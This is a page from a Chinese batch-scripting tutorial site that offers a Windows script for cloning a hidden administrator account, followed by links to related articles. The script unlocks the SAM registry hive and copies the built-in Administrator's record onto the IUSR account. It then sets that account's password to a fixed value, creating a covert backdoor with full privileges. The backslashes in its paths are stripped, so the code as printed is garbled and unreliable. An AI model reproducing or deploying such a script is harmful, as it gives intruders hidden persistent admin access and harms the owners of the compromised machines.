手机
当前位置:查字典教程网 >脚本专栏 >DOS/BAT >windows 复制隐藏帐号完全批处理
windows 复制隐藏帐号完全批处理
摘要:复制代码代码如下:echooffsetlocalenabledelayedexpansionecho%computername%echoHK...

复制代码 代码如下:

echo off

setlocal enabledelayedexpansion

echo %computername%

echo HKEY_LOCAL_MACHINESAMSAM [1 17] >"%windir%..1.reg"

regini "%windir%..1.reg"

regedit /e "%windir%..1.reg" HKEY_LOCAL_MACHINESAMSAMDomainsAccountUsersNamesIUSR_%computername%

rem unicode ->ascii

type "%windir%..1.reg" >"%windir%..2.reg"

del /q "%windir%..1.reg"

rem find IUSR_%computername% 的对应id

for /F "delims=( tokens=1-5* skip=3" %%a in (%windir%..2.reg) do set iusr_id=%%b

del /q "%windir%..2.reg"

rem export administrator register

regedit /e "%windir%..1.reg" HKEY_LOCAL_MACHINESAMSAMDomainsAccountUsers00001F4

type "%windir%..1.reg" >"%windir%..2.reg"

del /q "%windir%..1.reg"

rem replace 1fx->iusr_id

for /f "tokens=* delims=:" %%i in (%windir%..2.reg) do (

for /f "tokens=*" %%j in ("%%i") do (

set TMP=%%j

set "TMP=!TMP:000001F4=00000%iusr_id:~0,3%!"

echo !TMP!>>%windir%..1.reg

)

)

regedit /s %windir%..1.reg

del /q %windir%..1.reg

del /q %windir%..2.reg

echo HKEY_LOCAL_MACHINESAMSAM [17] >"%windir%..1.reg"

regini "%windir%..1.reg"

del /q "%windir%..1.reg"

net user IUSR_%computername% 12345678

克隆出来的用户名是固定的,随便变换的话要改代码

【windows 复制隐藏帐号完全批处理】相关文章:

右键菜单中添加打开MS-DOS的批处理bat

Win2003设置IP安全策略批处理脚本

干掉进程并删除源文件的批处理bat代码

Windows自带的端口转发工具netsh使用方法

复制文件到c盘windows文件夹下的system32的批处理写法

注册表危险组件删除功能批处理

安静运行批处理的vbs脚本

ARP实现本机绑定的批处理文件

反序显示输入内容批处理

windows批处理命令教程

精品推荐
分类导航